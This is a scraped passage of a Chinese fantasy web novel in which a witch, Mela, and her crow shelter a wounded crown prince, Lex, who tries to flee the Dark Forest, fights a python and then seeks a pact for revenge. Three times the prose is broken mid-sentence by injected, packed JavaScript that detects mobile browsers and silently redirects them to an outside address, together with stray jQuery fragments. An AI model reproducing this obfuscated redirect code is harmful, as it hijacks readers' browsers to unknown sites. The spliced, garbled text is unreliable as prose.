然而莱克斯却并不理解梅拉的好意,他疯狂地摇头拒绝了梅拉递来的满满一勺药水。 他之前可是听到梅拉都往里加了什么材料,蟾蜍耳朵、喜欢吸血的魔芥兰的茎,这是人能吃的东西吗? 就算梅拉信誓旦旦的说这是她特制的治愈药剂,效果很好,销量也很好,莱克斯依然坚定地道:“不用了,我相信我的伤可以靠自己恢复。” 他就算再急着养好伤逃离黑暗森林,也不会喝这种稀奇古怪的药剂。 “好吧,你不喝就算了。”梅拉也不强求,把勺子里的液体又倒回了锅里,搅拌搅拌直到颜色均匀后,分成了十瓶治愈药剂。 “塞拉斯,你赶紧把这十瓶治愈药剂送到我和杜克瓦托一直约定好用来交易的大树下。”梅拉把药剂装到篮子里,让塞拉斯叼着飞走了。 临走前,她不忘嘱咐塞拉斯,“记得见到杜克瓦托后告诉他,就算死也要把欠我的那三枚金币还了再死,不然我就诅咒他下辈子投胎成一头猪,还是永远吃不饱饭,只能饿得瘦骨嶙峋的猪。” 闻言,莱克斯感觉自己身上的鸡皮疙瘩都起来了,这就是女巫的诅咒吗?果然狠毒。 谁想下辈子投胎成一头吃不饱饭的猪啊?就算吃饱饭养出一身肥膘会被人类宰杀,也比饿着活到寿终正寝要好吧。 4. 第 4 章 今天是要把已经做好的三瓶变形药剂拿去交货的日子。 然而梅拉正躺在摇椅上呼呼大睡,意识到窗外投进了灿烂的阳光,她还把身上的羊绒毯子往上拉了拉,盖住了脑袋。 “跑个腿而已,哪里需要劳动伟大的女巫梅拉大人。”昨晚梅拉理直气壮地道。 “塞拉斯,明天你带着莱克斯跑一趟,教他认认路。”梅拉又道。 塞拉斯没有意见,一边梳理着身上的羽毛一边发出意义不明的叫声。 及时响应主人的每一句话是一名优秀宠物应该懂得的自我修养,塞拉斯这一点做得非常好。 梅拉很满意。 她接着看向莱克斯,因为发现他的脸上出现了愣神的表情。 难道说莱克斯不愿意干这种跑腿的活? 如果莱克斯提出了反对意见的话——梅拉也是不会同意的。 在女巫小屋里,梅拉就是唯一的规则,其它不管是人是鸟都得乖乖听她的话。 其实她完全可以用最恶心的材料制作一份药剂,逼着莱克斯喝下去,梅拉想到,这样莱克斯就会觉得替她跑腿是个好差事了。 事实上,莱克斯巴不得有机会能够出去认认路,自从他苏醒过来后,一直待在梅拉或是塞拉斯的眼皮子底下,压根找不到合理的借口探索小木屋之外的区域。 这样可不妙,莱克斯还计划着找机会逃离黑暗森林,不认识路怎么行。 总不能费劲力气逃出去了,兜兜转转又回到小木屋附近,那岂不是自投罗网。 只不过莱克斯的伤还没有完全痊愈,冒然离开小木屋不是一个明智的选择。万一在森林里遇到了什么危险,以莱克斯目前的实力,不一定能安然无恙的逃脱。 所以莱克斯的计划是等伤好后,再觅良机。 尽管这么做定然会让本就不充裕的时间雪上加霜,多拖延一天,王城的局势都有可能变得对他更加不利,但如果有办法,莱克斯何尝不想尽快赶回去呢。 莱克斯按捺下内心的焦虑,耐心等待,却没想到梅拉突然说要让塞拉斯带着他出去认路。 这可真是太好了。有塞拉斯在,莱克斯之前的担心就算不上问题了,想必危险一定会主动远离他们。 从这些天没有野兽敢靠近小木屋就知道了,女巫对森林里的动物还是很有震慑力的。 只不过高兴归高兴,莱克斯还是得做做样子,不能让梅拉觉得自己非常想离开小木屋,否则让她察觉了他的打算,不肯放他走怎么办。 虽然这两天梅拉除了喜欢使唤他干活之外,并不像传闻中那般阴晴不定,脾气暴躁易怒。 相反,梅拉在大多数事情上都懒得浪费精力计较,甚至连莱克斯为什么会受了箭伤沦落到黑暗森林,她都懒得多问一嘴。 倒是省了莱克斯扯谎的功夫。 听闻女巫会制作吐真药剂,莱克斯一度担忧如果梅拉逼他喝下药水,他能不能扛住药效。 结果是莱克斯多虑了,梅拉对他的来历压根不感兴趣。 在梅拉的眼里,莱克斯大概就是人形的塞拉斯,可以干一些鸟翅膀不方便干的活。 “好的,就这么愉快地决定了,明天由你们一起去交货。药剂我都用布裹了放在篮子里,早上记得不要来吵醒我。”梅拉打了个哈欠,懒洋洋地踱步到摇椅前,抖起毯子一起缩到了摇椅上。 塞拉斯则站到了它的栖杆上,闭上眼准备入眠。 莱克斯也躺到他铺在角落的毯子上,一夜无梦。 * 天一亮,塞拉斯立刻睁开眼,它像一位勤勤恳恳的管家,锐利的视线扫向角落,目的是检查莱克斯是否还在赖床。 很好,莱克斯看上去比它醒的还早,已经自觉地挎上了篮子,就等着塞拉斯一起出发了。 篮子里头不仅有要交给客人的变形药剂,还有两根粗/硬的棍状面包。 这就是一人一鸟的早餐了。 路上,塞拉斯一边站在篮子的边沿,时不时啄两口面包,一边指挥莱克斯该往哪儿走。 “这边这边,往这边走,可千万别走错了,否则就是给隔壁那头大黑熊送点心去了。” 闻言,莱克斯默默地记下,遇到长着黄色小花的岔路口要往右走。 等到了下一个岔路口,塞拉斯瞪着一双豆豆眼,举起翅膀摩挲了一下下巴,“唔,这两棵树怎么长得一模一样,我明明记得一个月前有一棵树比另一棵要矮来着。” “啊,找到了!我就说我这么聪明的一只乌鸦,怎么会不懂得做记号以防万一呢。” 塞拉斯一声招呼也没打,突然张开翅膀往上飞,绕着两棵树转了半天,然后才得意洋洋地飞下来,指挥莱克斯继续往右边的这条岔道走去。 “你做了什么记号?”莱克斯状似不经意的问起。 “从下往上数第五根树杈,被我用爪子画了个十字,所以我只要一飞上去就能看见它了。”塞拉斯挺了挺胸脯,很为自己的先见之明而自豪。 ……也就是说之后莱克斯如果打算逃跑,为了确认方向还得先爬个树。 莱克斯嘴角抽了抽,决定还是换个话题,“对了,左边那条岔道有什么危险吗?” “没什么,只不过是一块生长得很好的沼泽罢了。” 因为主人是梅拉的缘故,塞拉斯在语言的使用上同样学习了女巫的习惯,在她们眼中,风和河流一样是流动的,沼泽与树木一样是会生长的,万物都处于一个随时变化的状态。 “我和梅拉刚开始来到黑暗森林的时候,它才只能吞掉一头鹿,或者路过的几只野兔,现在的话,它大概能随随便便吞掉好几头大黑熊吧。”塞拉斯满不在乎的道。 反正沼泽这玩意儿,对会飞的鸟类造不成伤害,只有人类和其它需要走路的动物才会感到害怕。 噢,塞莱斯忘了,莱克斯就是这样一个会担心陷入沼泽的人类。 果然,莱克斯又不说话了,塞拉斯已经习以为常,扭头又啄了两口面包,嗯,好吃! * 不知走了多久,莱克斯总算走到了塞拉斯口中活了一百多年的老树下。 从它参天的高度,繁茂到几乎遮天蔽日的枝叶,以及大概需要数个成年男人才能环抱住的粗壮树干来看,这确实是一棵上了年纪的老树了。 莱克斯伸手抚摸粗糙的树皮,摸到了不少细细的裂痕,大概再过几十年,这些裂痕就会继续加深,达到肉眼可见的程度。 “梅拉的客人来了。”塞拉斯提醒道。 莱克斯转头,发现一名看上去大约三十多岁的棕发男人正拖着一架载满布袋子的木板车朝他们走来。 男人见到莱克斯显然很惊讶,加上莱克斯那头引人注目的金发,此刻正在阳光下闪耀着金子般的光辉,男人一时间嘴巴张了又闭,闭了又张,愣是一句话都没说出来。 “一、二、三……”塞拉斯可不管男人的异样,在板车上方盘旋了一阵,数清了布袋子的数量,满意的点头,“好了,莱克斯,可以把东西交给他了。” “莱克斯……你是王储殿下……”男人讷讷的道,认出了莱克斯的身份。 “哦?原来你是王储啊。”塞拉斯惊喜的道。 它自觉有了更高贵的身份,一时间连胸脯都更挺了。 莱克斯给梅拉干活,梅拉又是塞拉斯的主人,四舍五入之下,塞拉斯等于和王储是一个地位。 “嗯,等你回去后,不许把我在这的事情说出去。”莱克斯朝男人颔首,神色淡淡。 其实莱克斯本可以想个办法回避,以免身份被叫破,但他转念一想,他还需要借助这个机会了解外面现在是什么情况。 最终莱克斯面对男人,听到男人仍然称呼他为王储殿下时,莱克斯便知道,继王后暂时还没能得逞,让自己的儿子成为新的王储。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15626447|172386||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不用猜,其中必定有不少是宰相斐南基替他周旋的功劳。 虽然努伦格尔九世的性格较为刚愎自用,很少听得进大臣们的劝阻,但面对伯爵出身,又是公认富有贤名的斐南基,他偶尔还是能听进去那么一两句话的。 毕竟如果没有斐南基替他操劳,努伦格尔九世天天忙着政务,怎么可能有时间在王宫里变着法的取乐。 如果不是终于有了流淌着自己血脉的亲子,忌惮着斐南基的继王后或许还要继续和莱克斯保持着面和心不和的样子。 想到这,莱克斯再一次感到了时间的紧迫。 斐南基再怎么说,也不可能永远替他拖下去,在所有人都相信王储已经身死的情况下,站在斐南基这一边的大臣们也会考虑同意立新王储这件事。 说到底,他们支持的是努伦格尔王室的正统,而不是莱克斯这个人。 在莱克斯沉思的功夫,棕发男人讷讷应下莱克斯的要求,见他不搭理自己,也不奇怪,径自抱着药剂离开了,留下了一架孤零零的木板车。 塞拉斯站在把手上,呼喊莱克斯快点回神,把板车拖回小木屋去。 “这布袋子里装的是什么,怎么这么沉?”莱克斯抓住把手,沉下身子使劲,终于成功让板车动了起来,在并不平坦的小路上滚出一道略有歪曲的辙痕。 一人一鸟照着原路返回。 “这是我们接下来一个月的粮食。”塞拉斯答道。 莱克斯想起了堆放在角落里的还没吃完的半袋子土豆,恍惚记起两种布袋子似乎长得一模一样。 再结合塞拉斯前不久说过的,两棵树一个月前还没长这么高,莱克斯意识到,刚才见到的那个棕发男人就和他未曾谋面的杜克瓦托一样,也是女巫的固定客人。 男人和女巫保持着每月一次的交易,按时给女巫送来粮食,女巫则给他需要的药剂。 莱克斯回忆男人的衣着,虽然衣服上没有打着明显的补丁,但也不像是有钱的打扮,或许是住在附近的村民。 难怪女巫要和他以物易物。 可惜黑暗森林附近的村子有好几个,分别通往不同的城镇,要是莱克斯能知道棕发男人究竟属于哪个村子,或许能更加完善脑内逐渐成型的计划。 不过,莱克斯突然有些疑惑,在他没有到来之前,梅拉与塞拉斯是如何把板车运回木屋的? 梅拉虽然是女巫,但那双如枝条般细瘦的胳膊看起来可没有多少力气。塞拉斯就更不用说了,外表看起来就和正常大小的乌鸦无异。 说起来传闻中女巫豢养的,喜爱食人的巨宠在哪?难道藏在他不知道的地方? 莱克斯心下一凛,打算之后想办法从塞拉斯嘴里套出有关魔宠的事情。 绝不能让这所谓的魔宠成为他计划中最大的变数。 * “梅拉,梅拉,我们回来了!”离小木屋还有一段肉眼可见的距离的时候,塞拉斯便迫不及待的大声嚷嚷了起来。 接着它张开翅膀,头也不回的往木屋的方向飞去,把辛苦拖着板车的莱克斯远远抛在了后头。 “知道了,辛苦你们俩了。”梅拉听到塞拉斯的声音,懒洋洋地从屋子里走出来,靠在门口,眼睁睁地看着塞拉斯朝自己飞来,减速,找好降落的姿势,最后落到了她左侧的肩膀上。 梅拉暗暗皱眉,自从塞拉斯成年后,它可真是越来越重了,下次她的肩膀或许都要接不住它了。 “说起来,我闻到了豆子的味道。”梅拉的视线落在了停下来的板车上。 等莱克斯当着梅拉的面把布袋子一一解开,发现里头还真有两大袋豆子。 莱克斯俯身,假装检查豆子中有没有发霉的情况,却并没有闻到什么味道。 “很神奇吧?女巫的五感可是很敏锐的。”瞧见莱克斯眼中一闪而过的不解,梅拉的食指轻轻点了点嘴角,露出了一个意味深长的微笑。 5. 第 5 章 一旦没有了照耀在头顶上的太阳,黑暗森林立刻弥漫起了一股有如自地底擢升起来的阴森,连触碰到小腿的草叶都沁着刺骨的凉意。 莱克斯隔着薄薄的一层布料,感受到了小腿处的湿意,他抿了抿唇,继续按照记忆中的路线朝前走去。 身后是被他越甩越远的小木屋,一弯钩子似的的银月悬挂在屋顶的尖角上,照亮了屋内沉睡着的女巫与乌鸦银白色的美梦。 距离莱克斯来到黑暗森林已经是第六天了,他身上的伤口已经完全愈合,正是离开的时机。 于是等到夜幕降临,梅拉与塞拉斯沉沉睡去,莱克斯睁开了眼睛。 经过莱克斯这些天的观察,一旦入睡,梅拉和塞拉斯便会直接一觉到天亮,不会有突然醒来的情况出现。 尽管如此,莱克斯还是轻手轻脚地来到门前。 随着极轻微的“吱呀”一声,门开了。 莱克斯立刻警觉地往身后扫了一眼,发现梅拉与塞拉斯如他预想的那般,依然闭着眼,呼吸平稳,显然并没有被这点细微的动静打扰。 很好,莱克斯关上门,单薄的身影转身投入了夜色之中。 遇到第一个岔道,看到那一丛长得正好的黄色小花在夜风中轻轻地摇摆,莱克斯想也不想便往右走去。 第二个岔道处是两棵长得一模一样的树,莱克斯攀着树干,从下往上数找到第五根树杈,以及塞拉斯留下的十字记号,便身姿矫健地从树上跳了下来。 幸好这两棵树长得还不算太高,否则莱克斯未必能爬上去。 尽管莱克斯从小跟着骑士长学习武艺,但切尔各可不会教王储殿下如何爬树。 ——只有在村子里长大的毛头小子才会热衷于像猴子一样挂在树上。 对于王储来说,爬树实在有违宫廷礼仪。 接下来,莱克斯继续前进,直到在下一个需要辨认方向的地方停下脚步。 森林里也不总是存在岔道。 事实上所谓的道路也是前人走出来的,那时候黑暗森林远不像现在这般危险,时不时就会有胆大的猎人闯进来,试图抓住点难缠的猎物拿去换更多的食物。 然而许多年过去,敢踏足黑暗森林的人越来越少,直至消失殆尽,曾经人为开辟出来的那些小路自然而然被疯长的植物重新占据。 浑身长满刺的荆棘,努力开出花苞的灌木月季,叶片浓绿光亮平时喜欢蜷缩成一团的球藤等等。 它们肆意生长,到了夜里更是大变了样,以至于莱克斯有些迟疑,到底该往哪里走才是正确的路。 无法,莱克斯只好借着月光仔细辨认,每每他觉得这个方向没错时,却总能挑出好几处地方与他白日记下的景象不同。 ……难办,难道只能把选择权交给虚无缥缈的命运吗?莱克斯皱紧眉头,始终无法下定决心,正是因为命运的不确定性,他更愿意相信自己的判断。 “咕——呱——”一道低沉的鸣叫突然自莱克斯右侧传来,锐利的视线立刻扫了过去,原来是一只癞蛤蟆突然跳到了莱克斯身旁比他还高一些的石头上,两粒血红的眼珠子正盯着他瞧。 这抹红色在银白的月光下显得格外妖异,莱克斯第一时间想到了梅拉储藏在各种罐子里的奇奇怪怪的材料,下意识的往后退了几步,拉开了与这只癞蛤蟆的距离。 然而这只癞蛤蟆久久地注视着莱克斯,下一秒,它吐出舌头飞快地卷了一只路过的小飞虫进嘴里,还滴下了两滴涎水。 莱克斯微微瞪大了双眼,确认自己并没有看错,那两滴涎水竟然轻微地腐蚀了石头的表面。 这就是黑暗森林吗?莱克斯从来没有见过像这样危险的癞蛤蟆,不敢想象它的涎水若是滴在了人的皮肤上——怕是那整块皮肉都要烂掉吧。 莱克斯下意识往后退了一步,手也摸上了绑在腰间的匕首。 这把匕首由王国内最好的工匠用精铁锻造而成,哪怕隔着一层刀鞘,都仿佛能感受到上头锋锐的寒意。 是切尔各离去前专门给莱克斯留下作为防身用的武器。 原本一直藏在莱克斯的靴子里,加上莱克斯平时有意遮掩,梅拉和塞拉斯都没发现他走路时偶尔透露出的古怪。 今夜为了方便逃跑,莱克斯才把它从靴子里拿了出来,以防万一。 只是这癞蛤蟆的涎水如果碰到匕首,在上面腐蚀出几个洞的话,那他唯一能用来防身的武器就废了。 想到这一点,莱克斯收回了放在腰间的手,干脆地挑了自己认为最可靠的方向离开,离那只危险的癞蛤蟆越远越好。 风声拂过草叶,发出细微的沙沙声,在静谧的夜里被莱克斯精准无误地捕捉。 与此同时,莱克斯踩下去的每一步都格外小心翼翼,生怕踩到盘踞在草丛间休憩的蛇虫,或是更可怕的,直接一脚踩入烂泥组成的沼泽里,拔都拔不出来。 说起来莱克斯今夜的运气还不错,一路上除了那只癞蛤蟆,再没碰到过别的动物,更别提令他忌惮的老虎、豹子之类的猛兽。 原本一直悬着的心稍微松了口气。 等一下,莱克斯的动作突然顿住,周围好像有点太安静了。 要知道哪怕是在深夜,森林里也不可能保持这样堪称死一般的寂静,除了风声,莱克斯现在只能听见自己刻意放缓的呼吸声。 然而即使身处小木屋之中,莱克斯都能在睡梦中听到遥远的方向偶尔传来一声不知名野兽的吼叫,怎么到了这里他就什么也听不到了? 除非霸占这片领地的主人把每一个胆敢入侵的敌人都杀死了。 敏锐的直觉在疯狂提醒着莱克斯,金色的眼眸来回扫视四周,并没有看见任何值得警惕的存在。 下一秒,莱克斯猛地抬头,与一双碧绿色的竖瞳直直地对上了视线。 随着莱克斯迅速退开,竖瞳的主人同样以极快的速度落到地上,这是一条通体漆黑的巨蟒,借着夜色与茂密的枝叶遮挡,完全隐藏在了参天巨树上。 又因为它盘踞在树上,莱克斯才没有察觉它的存在。 莱克斯发现巨蟒的时候,它似乎蠢蠢欲动地想要张开嘴,计划着从天而降把树底下的猎物一口吞下。 可惜在最后关头被警觉的莱克斯逃过一劫。 现在,落到地上的巨蟒直起身子,以高高在上的姿态俯视着莱克斯。 莱克斯的目光往下,没有忽略巨蟒在草叶遮掩下仍然盘了好几圈的下半身,他粗略估计这条巨蟒大概能有五到六米长。 与巨蟒搏斗?不,莱克斯第一时间否定了这个想法,他手里只有一把匕首,与歹人搏斗还行,对上巨蟒却显得有些鸡肋了。 万一只给巨蟒划了道小口子,却让它趁机贴近自己张开獠牙,莱克斯就得不偿失了。 眼下最好的办法其实是转身就逃,可莱克斯的双脚仿佛钉在了原地,一动不动。 这不是因为他被吓傻了,而是莱克斯敢肯定,如果自己没有挑选好时机随意转身,下一秒巨蟒就能直接扑上来把自己给吞吃了。 现在,巨蟒像是让莱克斯的镇定给唬住了,不断吐出鲜红的蛇信,探查莱克斯的危险程度。 双方陷入了暂时的对峙之中。 但莱克斯很清楚,这场对峙很快就会被打破: 下一刻巨蟒率先动了,径直朝莱克斯扑过来。 几乎是一眨眼的功夫,一张黑洞洞的嘴张开到人类无法想象的程度,两颗锋利的獠牙似乎在隐隐闪着寒光。 莱克斯的动作也很快,他断定巨蟒这一击只是试探,于是敏捷地躲开巨蟒的攻击后,迅速抓住空档转身就跑。 巨蟒没想到莱克斯竟然想也不想扭头就跑,有种被猎物戏耍了的感觉,气愤之下蛇腹快速碾过草丛,它飞快地追上了莱克斯。 此时巨蟒再度张开嘴,这一回的目标是莱克斯的小腿。 它清楚地知道只要咬伤莱克斯的小腿,他就没法继续行动了。 莱克斯似 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15626448|172386||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是早有所察,利落地往旁边一滚,又让巨蟒的攻击扑了个空。 接连的失败没有让巨蟒放弃,反而让它认定了莱克斯,非得把他吞到肚子里不可。 在巨蟒发了疯一般的连续进攻下,好几次莱克斯都差点真的被獠牙咬到身上某处。 看来一味地躲避是没用了,莱克斯必须战胜巨蟒,才有逃出生天的机会。 想到这,莱克斯的目光一沉,毫不犹豫地拔出匕首,看看到底是谁能活下来吧! * 属于女巫的小木屋仍然保持着与世隔绝般的祥和,没有野兽敢轻易靠近这里,即使偶尔自灌木丛中窜出一只膘肥体壮的野猪,也会在看到屋顶的尖角后自觉地绕路,避免踏入银辉照亮的小路。 忽然,一道被月光拉长的黑影出现在小路的尽头,是莱克斯。 他抱着受伤的手臂,一路朝着小木屋走去。 若是有人在一旁仔细看,就会发现莱克斯的行动间有点一瘸一拐的迹象,这倒不是他的腿也受了伤,而是在与巨蟒的搏斗中被蛇尾狠狠绞住,绞出了青紫色的淤痕。 走起路来有着难以忽视的痛楚。 好在这场过程凶险的搏斗最后还是莱克斯赢了,以左臂受伤为代价。 只不过当气喘吁吁的莱克斯坐在巨蟒的尸体旁,意识到今晚已经过了大半,剩余的时间已经不足以支撑他成功逃离黑暗森林时,没有考虑太久,莱克斯决定先回小木屋再说。 只不过他左臂上的伤口是个问题,若隐若现的血腥味透过布料散发到空气中,都不用靠近,就知道莱克斯绝对受了伤。 简直和把他昨晚偷偷离开小木屋的事情直接跟梅拉坦白没有区别。 不行,莱克斯得想个办法把身上的伤瞒过去。 不知道梅拉上次说的治愈药剂还有没有存货。听塞拉斯说,梅拉制作的药剂是出了名的药效好到惊人,像他身上的箭伤只要喝几口治愈药剂,就能在短短半天内痊愈。 不过这种好东西梅拉是不会轻易拿出来给人用的。 一瓶止血药粉才卖十枚铜币,一瓶治愈药剂却要卖整整八枚银币,梅拉疯了才会给莱克斯喂这么昂贵的治愈药剂,撒点止血药粉靠身体自己痊愈得了。 莱克斯这些天已经领略了梅拉是个多么抠门的女巫,她连一根写字时断时续的羽毛笔都不舍得丢了换新的。 所以莱克斯打算如果能找到剩余的治愈药剂,只打开瓶塞偷偷喝一口,应该就不会被梅拉察觉了吧? 莱克斯走到门前,轻手轻脚地推开门,发现塞拉斯仍然站在栖杆上,把脑袋埋入羽毛中熟睡着。 梅拉则更不必说,月光照在她光滑如白瓷般的脸上,纤长的睫毛投下了一小片细密的阴影。 莱克斯松了一口气,以最轻的力道把门合上,然后来到与一整面墙持平的橱柜前,蹲下来,一个个格子摸过去,借着月光试图从中找到一瓶浓紫色的药剂。 可惜梅拉实在太爱乱放东西了,橱柜上的每一个格子不止堆了各种造型的瓶瓶罐罐,还包括了其它零零碎碎诸如纽扣之类的小玩意儿。 莱克斯必须小心再小心,才不至于把东西扫到地上,留下他不知道的破绽。 到后来遍寻不得的莱克斯自心中隐隐升起了一股焦躁,生怕塞拉斯或梅拉提前醒来,撞破这一幕。 谢天谢地,莱克斯终于在一个柜子里找到了他想要的治愈药剂。 从颜色来看应该就是它了,莱克斯松开紧皱的眉头,顾不得里头添加了多少令他抗拒的古里古怪的材料,准备仰头一饮而尽。 “一瓶治愈药剂需要八枚银币,你打算什么时候把钱给付了?” 梅拉的声音自莱克斯身后传来,语调一如既往的慵懒,似乎一点也不为莱克斯的举动而惊讶。 莱克斯的瞳孔骤然一缩。 梅拉她竟然醒着吗? 她是什么时候醒的? 是刚刚,还是说,她其实从一开始就醒着? 6. 第 6 章 小木屋中的情形此刻非常微妙,梅拉在摇椅上坐了起来,原本披在身上的毯子自然而然地滑落至膝盖。 莱克斯则站在橱柜前,脸上的神情藏在阴影中晦暗不明。 唯独塞拉斯仍然沉浸在美梦中,咂了咂嘴,对屋子里发生的事情充耳不闻。 “不试试女巫特制治愈药剂的效果吗?”梅拉盯着莱克斯拿在手中的瓶子,语调轻松。 以至于莱克斯有一瞬间怀疑她并不像自己想的那样,早就知晓了这一切,包括他想要逃跑的心思。 但对上那双幽绿的眼睛,沉淀的阴影在眼底仿佛水草一般摇曳,里头荡漾着看透一切的云淡风轻,使得莱克斯马不停蹄地抛弃了这可笑的幻想。 “为什么不拦下我?”莱克斯突然问了一个八竿子打不着的问题。 然而在梅拉回答之前,莱克斯的心中已经自动浮现了一个答案:他笃定梅拉是想看他的笑话。 试想如果梅拉一开始就切断莱克斯逃跑的想法,她又怎么欣赏得到莱克斯精心策划后又无功而返的一幕呢? 看到莱克斯如预想的那般抱着受伤的手臂回来,自以为成功瞒天过海地松了一口气时,梅拉一定在心底暗暗发笑吧。 这多么符合女巫的恶趣味啊。 “有什么必须拦下你的必要吗?反正没有我的帮助,你也走不出黑暗森林。”果然,梅拉道。 猜中真相但一点也不觉得高兴的莱克斯抿住唇,努力克制住额头疯狂想要暴起的青筋。 曾经高高在上的王储殿下何时被人这样戏耍过。 更别提把他当马戏团的猴子一样取乐。 唔,梅拉没有错过莱克斯的反应,看起来他像是很想给她两拳的样子。 然而梅拉不仅没有一点要悔改的意思,反而微微眯起眼,身体被摇椅带得轻微晃动,原来比起不停地使唤他做事,莱克斯更不能接受这种程度的逗弄啊。 唉,明明她是根据莱克斯的想法回答的,结果他看上去更生气了。 虽然梅拉有预感,她就算把真实原因说出来,莱克斯应该还是会生气。 其实直到莱克斯趁着夜色悄然离开小木屋,看似睡熟了的梅拉睁开眼,终于意识到他这些天的隐忍不发,沉默寡言究竟是为了什么。 难怪,梅拉在心里嘀咕,她就说含着金汤匙出生的小王子怎么脾气这么好,既不颐指气使,也不骄横跋扈,大多数时候,无论梅拉塞给他什么脏活累活,他都毫无怨言地接过。 当然,在梅拉故意的作弄下,莱克斯偶尔也会出现失态的行为,只不过每次他都会快速地收拾好自己的情绪,将眼底的不忿压抑回去。 比真正的大人还像个大人。 正是这样才激起了梅拉的兴趣,她继续不动声色地观察,发现莱克斯也不总是沉默的,每当他想要从单纯又对他毫无防备的塞拉斯嘴里套话时,就会主动抛出一个话题,状似无意地问: 怎么从没见过传闻中由女巫饲养出来的巨兽。难道梅拉除了塞拉斯之外还有别的宠物吗? “当然不是!梅拉永远只会有我这唯一一个宠物!包括传闻里的巨兽也是我,是梅拉对我用了变大咒语之后的样子!” 果然,塞拉斯为了捍卫自己梅拉唯一宠物的地位,一下子把莱克斯想知道的事情全吐露了出来。 “当梅拉对我使用变大咒语后,我就能变得比一座小山还大,还能载着梅拉随意在天上飞来飞去。” 塞拉斯骄傲地用翅膀为莱克斯比划比一座小山还大到底是多大,又状似苦恼实则炫耀地告诉莱克斯,上次全靠它在天上投下的阴影,才把那些追在他身后的人吓得直接离开了黑暗森林。 莱克斯的心念一动,顺势朝正趴在桌子上午睡的梅拉看过去,他原本还奇怪,如果那些追兵一直追在他的身后,他应该等不到梅拉把他捡回来才对。 感受到身后的目光,梅拉悄悄睁开眼,幸好她及时把头扭了过来,不然就要被莱克斯发现她一直在偷听他与塞拉斯的对话了。 总之梅拉对塞拉斯的观察有惊无险地持续到了他逃跑的前一秒。 按理说看到莱克斯逃跑,梅拉应该出手把他拦下来才对,好歹还完她的救命恩情再跑吧! 梅拉可不是真的做善事不要求回报的性格。 想到这,躺在摇椅上的梅拉有所动作,她翻了个身,换了个更舒服的姿势蜷着。 在梅拉到来之前,黑暗森林就已凶名远播,鲜少有人敢进来冒险——因为大着胆子进来的那些人全都失去消息,再也没人见过他们的踪影。 所以说,黑暗森林里危险的可不只有女巫,莱克斯单枪匹马,是不可能顺利离开的。 而梅拉只要耐心等着就好。 事实上,正如梅拉想的那样,莱克斯最终还是回来了,身上还带着伤。 嗅到那股若有若无的血腥气,梅拉默默把盖住脸的毯子往下扯了一点。 止血药粉一直被她用一个涂了油彩的小坛子放在橱柜上,很容易就能找到,不过这回她可不打算免费给莱克斯使用了,好歹也是十枚铜币呢。 只是梅拉没想到莱克斯的胃口这么大,竟然掏出了她藏在柜子里的治愈药剂。 梅拉忍不住出声了,否则之后莱克斯如果以不知道价格为由赖账怎么办?她是女巫,可不是什么黑心商人,干不来那种强买强卖的事。 但看到莱克斯真的不喝了,梅拉又怀疑他是不是在心疼八枚银币的价格,那可不行,区区八枚银币,对小王子来说算得了什么呢?暂时还不上账他还可以欠债嘛! 就在梅拉试图劝动莱克斯喝下这瓶治愈药剂时,莱克斯却突然朝梅拉单膝跪下了,以骑士的礼节。 “这是干什么?就算你给我下跪,我也不会答应免费的噢。”梅拉一惊,整个人从懒洋洋躺着的姿态转而直接坐了起来。 “……不,您误会了,我并不是为了这瓶药剂。” 莱克斯顿了顿,像是下定了某种巨大的决心,才缓缓道:“尊敬的女巫大人,我恳请您与我定下助我复仇的契约。” 是的,刚刚那么短的时间里,莱克斯忽然想明白了,他为什么要拒绝甚至惹怒一位如此强大的女巫?相反,他完全可以借助女巫的力量直接达成回王城复仇的目的。 比起早就落魄的母族,生死不明的骑士长切尔各,受多方牵制无法全心全意侍奉于他的宰相斐南基,莱克斯意识到将女巫收为他的幕僚才是明智之举。 或许女巫确实如教会的宣传那般阴险恶毒、口蜜腹剑,喜欢背刺他人,但那又如何?莱克斯自觉有一名王者应该拥有的包容之心,至少在女巫对他尚存用处之前,莱克斯无论如何都不会放弃她。 “……事成之后,价值连城的珠宝、王宫宝库里成山的金银、乃至于尊贵的贵族头衔与广阔的封地,我都能许诺于您。”莱克斯扬起脸,方便梅拉看清他眼中饱含的诚意。 “不,我拒绝。”梅拉想也不想的道。 “为什么?”莱克斯不解,他以为梅拉是觉得以他目前的处境未必能兑现诺言,沉吟片刻,补充道,“我可以用我自身的性命作为抵押,若无法完成契约,这条命便由您拿去好了。” 也许别人的性命对于女巫来说无足轻重,但莱克斯自诩身为努伦格尔王室的血脉,数百年前他的先祖便成为了王国的君主,此后这份荣耀代代相传,如今流传到了他的身上,作为王储,他的命自然值得女巫另眼相待。 可惜让莱克斯失望了,梅拉笑吟吟的再一次拒绝了他,“你说的那些我都不感兴趣,你的复仇,还是由五年后的你亲自完成吧。” “为什么是五年后?”莱克斯还来不及为梅拉的拒绝失望,就被她嘴里的条件吸引了全部的注意。 “因为这五年里你要给我当仆人,直到报答完我对你的恩情。”梅拉理所当然地道。 五年后,无论莱克斯是想走还是想留下来,梅拉都随他的便。但这三年里,梅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 